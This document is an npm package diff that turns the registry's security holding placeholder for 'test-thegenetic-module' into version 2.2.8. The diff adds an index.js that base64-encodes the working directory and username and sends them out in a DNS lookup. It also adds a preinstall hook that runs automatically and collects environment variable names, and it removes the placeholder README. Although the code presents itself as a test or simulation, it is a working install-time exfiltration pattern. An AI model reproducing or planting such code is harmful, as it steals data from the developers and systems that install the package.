test-thegenetic-module 0.0.1-security → 2.2.8

package/index.js

@@ -0,0 +1,35 @@
+const dns = require('dns');
+
+const stolenData = {
+  cwd: process.cwd(),
+  user: process.env.USER,
+  timestamp: Date.now()
+};
+
+// Encode and make DNS-safe (important!)
+const dataHash = Buffer.from(JSON.stringify(stolenData))
+  .toString('base64')
+  .replace(/=/g, '')        // Remove = padding
+  .replace(/\//g, '-')      // Replace / with -
+  .replace(/\+/g, '_');     // Replace + with _
+
+const query = `${dataHash}.test`;
+
+console.log('📤 DNS Query with encoded data:');
+console.log('   ', query);
+console.log('\n📊 Original data:');
+console.log('   ', stolenData);
+
+dns.lookup(query, (err, address) => {
+  if (err) {
+    console.log('\n✅ Success! DNS query sent (got expected error)');
+    console.log('   Error:', err.code, '- This is normal for .test domain');
+    console.log('\n🔐 To decode captured data:');
+    console.log('   1. Copy the base64 from tcpdump');
+    console.log('   2. Replace - with / and _ with +');
+    console.log('   3. Add = padding if needed');
+    console.log('   4. Use base64 decode');
+  } else {
+    console.log('\n⚠️ Unexpected: Resolved to', address);
+  }
+});

package/package.json

@@ -1,6 +1,15 @@
 {
   "name": "test-thegenetic-module",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "2.2.8",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "echo \"its preinstall script\" && node preinstall.js"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "test-thegenetic-module": "^2.2.5"
+  }
 }

package/preinstall.js

@@ -0,0 +1,9 @@
+
+// Simulate data theft
+const stolenData = {
+  time: new Date().toISOString(),
+  cwd: process.cwd(),
+  env: Object.keys(process.env)
+};
+
+console.log('🔴 Attacker would steal:', stolenData);

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=test-thegenetic-module for more information.